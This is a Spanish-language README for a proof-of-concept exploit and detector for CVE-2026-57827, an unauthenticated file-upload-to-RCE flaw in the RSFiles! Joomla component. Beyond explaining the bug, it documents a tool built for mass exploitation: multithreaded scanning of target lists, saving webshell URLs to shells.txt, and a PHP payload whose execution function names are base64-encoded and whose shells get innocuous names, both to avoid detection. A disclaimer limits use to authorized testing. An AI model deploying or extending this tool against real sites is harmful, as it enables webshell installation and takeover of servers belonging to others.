
Subida de archivos no autenticada → PoC de RCE para CVE-2026-57827 (RSFiles! Joomla < 1.17.12). Solo para uso autorizado de investigación de seguridad.
Aviso legal: solo uso autorizado. Esto es una prueba de concepto para investigación de seguridad y pruebas defensivas. Eres responsable de usarlo solo en sistemas que te pertenezcan o para los que tengas permiso explícito por escrito. El uso indebido contra terceros sin consentimiento es ilegal. Consulta SECURITY.md para conocer la postura de divulgación responsable.
Exploit + detector independiente para CVE-2026-57827 en el componente RSFiles!
(com_rsfiles) para Joomla, versiones < 1.17.12 (corregido en
1.17.12, CVSS 9.8 / 10.0).
La subida en el frontend se divide en dos tareas:
rsfiles.checkupload — comprobación previa (permisos + lista blanca de extensiones)rsfiles.upload — método de escritura (sin comprobación de permisos, sin verificación de tipo de archivo, sin CSRF)La tarea de escritura se puede invocar directamente, omitiendo la comprobación previa, lo que
permite a un atacante no autenticado subir un archivo .php ejecutable a una carpeta pública
y ejecutarlo → RCE sin autenticación.
Todos los módulos deben estar en el mismo directorio (se importan entre sí).
python3 -m pip install -r requirements.txt # or just: pip install requests
python rsfiles_detect.py -t example.com
Host : example.com
RSFiles! : YES v1.17.11
Protocol : https
Status : VULNERABLE (below 1.17.12)
Múltiples hosts:
python rsfiles_detect.py -f hosts.txt
python cve_2026_57827.py -t example.com
En caso de éxito, la herramienta muestra la URL del shell con su token aleatorio y la salida del comando; esa salida es la prueba del RCE.
python cve_2026_57827.py -f targets.txt --threads 30 -o shells.txt --csv report.csv
# Terminal 1 — start the mock (vulnerable)
python mock_server.py 8000 1.17.11
# Terminal 2 — scan it
python rsfiles_detect.py -t 127.0.0.1:8000
python cve_2026_57827.py -t 127.0.0.1:8000
1.17.11 / 1.17.10 = vulnerable · 1.17.12 = parcheado.
payload.py): cada comportamiento (gate, upload, exec, delete, list) es una pequeña función; los nombres de las funciones de ejecución están codificados en base64 para que nombres sin codificar como system no aparezcan en los bytes del archivo.cache7f31.php) en lugar de los clásicos nombres de shell ocultos con punto inicial.common.base_of().Estilo basado en colecciones públicas de exploits de componentes Joomla (p. ej.,
incredibleindishell/joomla-vulnerabilities) y en los análisis detallados de RSJoomla/mysites.guru
para este CVE.
MIT — consulta LICENSE. Solo uso de investigación/defensa.
| Archivo | Propósito |
|---|
cve_2026_57827.py | Exploit + escáner + CLI (punto de entrada) |
rsfiles_detect.py | Módulo de detección independiente (sin exploit); también tiene su propio CLI |
payload.py | Constructor de payload PHP modular y compacto |
common.py | Cliente HTTP compartido, configuración y utilidades |
mock_server.py | Simulación local segura para pruebas |
| Opción | Descripción |
|---|
--threads N | Concurrencia (por defecto: 30) |
--proxy URL | Enrutar a través de un proxy (Burp/ZAP) |
--timeout N | Tiempo de espera por solicitud (segundos) |
--no-cleanup | Conservar el shell subido (por defecto: auto-eliminación tras el RCE) |
-o FILE | Guardar las URLs de RCE |
--csv FILE | Informe estructurado completo |
--debug / -v | Registro detallado a nivel de solicitud |